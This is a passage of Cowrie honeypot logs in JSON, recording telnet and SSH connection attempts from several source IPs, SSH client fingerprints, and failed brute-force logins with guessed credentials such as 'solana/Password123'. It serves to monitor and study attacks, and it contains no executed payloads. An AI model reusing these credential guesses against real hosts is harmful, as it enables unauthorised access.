{"eventid":"cowrie.session.connect","src_ip":"34.78.177.181","src_port":30540,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d92e6188901","protocol":"telnet","message":"New connection: 34.78.177.181:30540 (10.17.0.5:23) [session: 2d92e6188901]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:11.307985Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.177.181","src_port":30556,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff50580853ca","protocol":"telnet","message":"New connection: 34.78.177.181:30556 (10.17.0.5:23) [session: ff50580853ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:11.462994Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.177.181","src_port":30562,"dst_ip":"10.17.0.5","dst_port":23,"session":"908f800f4976","protocol":"telnet","message":"New connection: 34.78.177.181:30562 (10.17.0.5:23) [session: 908f800f4976]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:11.619603Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.177.181","src_port":30572,"dst_ip":"10.17.0.5","dst_port":23,"session":"b59473d96c56","protocol":"telnet","message":"New connection: 34.78.177.181:30572 (10.17.0.5:23) [session: b59473d96c56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:11.775347Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.177.181","src_port":30580,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb3721dabd62","protocol":"telnet","message":"New connection: 34.78.177.181:30580 (10.17.0.5:23) [session: bb3721dabd62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:11.929978Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.177.181","src_port":30588,"dst_ip":"10.17.0.5","dst_port":23,"session":"abdd428af717","protocol":"telnet","message":"New connection: 34.78.177.181:30588 (10.17.0.5:23) [session: abdd428af717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:12.083710Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.177.181","src_port":30600,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8b0b2f38795","protocol":"telnet","message":"New connection: 34.78.177.181:30600 (10.17.0.5:23) [session: b8b0b2f38795]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:12.240612Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.177.181","src_port":30616,"dst_ip":"10.17.0.5","dst_port":23,"session":"e21439b7e1ac","protocol":"telnet","message":"New connection: 34.78.177.181:30616 (10.17.0.5:23) [session: e21439b7e1ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:12.396994Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:12.402230Z","src_ip":"34.78.177.181","session":"e21439b7e1ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.177.181","src_port":30632,"dst_ip":"10.17.0.5","dst_port":23,"session":"988296920842","protocol":"telnet","message":"New connection: 34.78.177.181:30632 (10.17.0.5:23) [session: 988296920842]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:12.562932Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.177.181","src_port":30646,"dst_ip":"10.17.0.5","dst_port":23,"session":"f60d797a2dfd","protocol":"telnet","message":"New connection: 34.78.177.181:30646 (10.17.0.5:23) [session: f60d797a2dfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:12.718755Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.177.181","src_port":30652,"dst_ip":"10.17.0.5","dst_port":23,"session":"707dd380f499","protocol":"telnet","message":"New connection: 34.78.177.181:30652 (10.17.0.5:23) [session: 707dd380f499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:12.873686Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.177.181","src_port":30664,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e8b27daec70","protocol":"telnet","message":"New connection: 34.78.177.181:30664 (10.17.0.5:23) [session: 2e8b27daec70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:13.030112Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.177.181","src_port":30678,"dst_ip":"10.17.0.5","dst_port":23,"session":"34524d9b7e10","protocol":"telnet","message":"New connection: 34.78.177.181:30678 (10.17.0.5:23) [session: 34524d9b7e10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:13.186830Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.177.181","src_port":30686,"dst_ip":"10.17.0.5","dst_port":23,"session":"df7f18e3a8b1","protocol":"telnet","message":"New connection: 34.78.177.181:30686 (10.17.0.5:23) [session: df7f18e3a8b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:13.343102Z"}
{"eventid":"cowrie.session.closed","duration":0.0056705474853515625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:13.348611Z","src_ip":"34.78.177.181","session":"df7f18e3a8b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.177.181","src_port":30688,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7c6725888f0","protocol":"telnet","message":"New connection: 34.78.177.181:30688 (10.17.0.5:23) [session: e7c6725888f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:13.499674Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.177.181","src_port":30696,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8ef3d647699","protocol":"telnet","message":"New connection: 34.78.177.181:30696 (10.17.0.5:23) [session: d8ef3d647699]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:13.654927Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 4613","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 4613] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:13.660729Z","src_ip":"34.78.177.181","session":"d8ef3d647699","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":48374,"dst_ip":"159.203.135.109","dst_port":22,"session":"0739b05fd80f","protocol":"ssh","message":"New connection: 80.94.92.186:48374 (159.203.135.109:22) [session: 0739b05fd80f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:15.243582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:15.302845Z","src_ip":"80.94.92.186","session":"0739b05fd80f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:15.411934Z","src_ip":"80.94.92.186","session":"0739b05fd80f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"Password123","message":"login attempt [solana/Password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:15.857255Z","src_ip":"80.94.92.186","session":"0739b05fd80f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:16.995831Z","src_ip":"80.94.92.186","session":"0739b05fd80f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.318915367126465,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:17.818463Z","src_ip":"34.78.177.181","session":"e7c6725888f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.169220924377441,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:17.824024Z","src_ip":"34.78.177.181","session":"d8ef3d647699","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.6409690380096436,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:17.827641Z","src_ip":"34.78.177.181","session":"34524d9b7e10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.805327892303467,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:17.835296Z","src_ip":"34.78.177.181","session":"2e8b27daec70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.965362310409546,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:17.838914Z","src_ip":"34.78.177.181","session":"707dd380f499","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.124284744262695,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:17.842915Z","src_ip":"34.78.177.181","session":"f60d797a2dfd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.287928104400635,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:17.850734Z","src_ip":"34.78.177.181","session":"988296920842","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.4576475620269775,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:17.854461Z","src_ip":"34.78.177.181","session":"e21439b7e1ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.617553949356079,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:17.858038Z","src_ip":"34.78.177.181","session":"b8b0b2f38795","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.777918100357056,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:17.861515Z","src_ip":"34.78.177.181","session":"abdd428af717","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.943033456802368,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:17.872905Z","src_ip":"34.78.177.181","session":"bb3721dabd62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.101505756378174,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:17.876712Z","src_ip":"34.78.177.181","session":"b59473d96c56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.260722875595093,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:17.880207Z","src_ip":"34.78.177.181","session":"908f800f4976","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.421092987060547,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:17.883933Z","src_ip":"34.78.177.181","session":"ff50580853ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.579514503479004,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:17.887379Z","src_ip":"34.78.177.181","session":"2d92e6188901","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.737243175506592,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:17.890718Z","src_ip":"34.78.177.181","session":"769567c69e78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.054540395736694,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:17.894017Z","src_ip":"34.78.177.181","session":"5279415d1edd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.292884111404419,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:17.897839Z","src_ip":"34.78.177.181","session":"80af07525c87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.451595306396484,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:17.902158Z","src_ip":"34.78.177.181","session":"199808eadcdf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.609705209732056,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:17.905801Z","src_ip":"34.78.177.181","session":"39d634a06851","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.76920747756958,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:17.909804Z","src_ip":"34.78.177.181","session":"957520b4d986","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.92970871925354,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:17.913520Z","src_ip":"34.78.177.181","session":"e06e6b19dbbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.10038161277771,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:17.928893Z","src_ip":"34.78.177.181","session":"65755fe0f2f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.258886098861694,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:17.932813Z","src_ip":"34.78.177.181","session":"d27370a69e3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.41777777671814,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:17.936509Z","src_ip":"34.78.177.181","session":"dac5ecf25ea1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.575407266616821,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:17.939788Z","src_ip":"34.78.177.181","session":"a7e339efd75a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.902506351470947,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:17.943069Z","src_ip":"34.78.177.181","session":"588ffa8b312a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":50976,"dst_ip":"159.203.135.109","dst_port":22,"session":"df76525a199b","protocol":"ssh","message":"New connection: 103.228.69.212:50976 (159.203.135.109:22) [session: df76525a199b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:31.077688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:31.081911Z","src_ip":"103.228.69.212","session":"df76525a199b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:31.307700Z","src_ip":"103.228.69.212","session":"df76525a199b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anton","password":"test","message":"login attempt [anton/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:32.242894Z","src_ip":"103.228.69.212","session":"df76525a199b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:33.472820Z","src_ip":"103.228.69.212","session":"df76525a199b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40330,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c8102787ff1","protocol":"ssh","message":"New connection: 159.203.92.129:40330 (159.203.135.109:22) [session: 1c8102787ff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:41.101423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:41.106125Z","src_ip":"159.203.92.129","session":"1c8102787ff1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:41.111372Z","src_ip":"159.203.92.129","session":"1c8102787ff1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Apps","password":"123456","message":"login attempt [Apps/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:41.122853Z","src_ip":"159.203.92.129","session":"1c8102787ff1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:42.132916Z","src_ip":"159.203.92.129","session":"1c8102787ff1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":54846,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a6d4b7d6e6b","protocol":"ssh","message":"New connection: 2.57.122.238:54846 (159.203.135.109:22) [session: 9a6d4b7d6e6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:35:01.146719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:35:01.156703Z","src_ip":"2.57.122.238","session":"9a6d4b7d6e6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 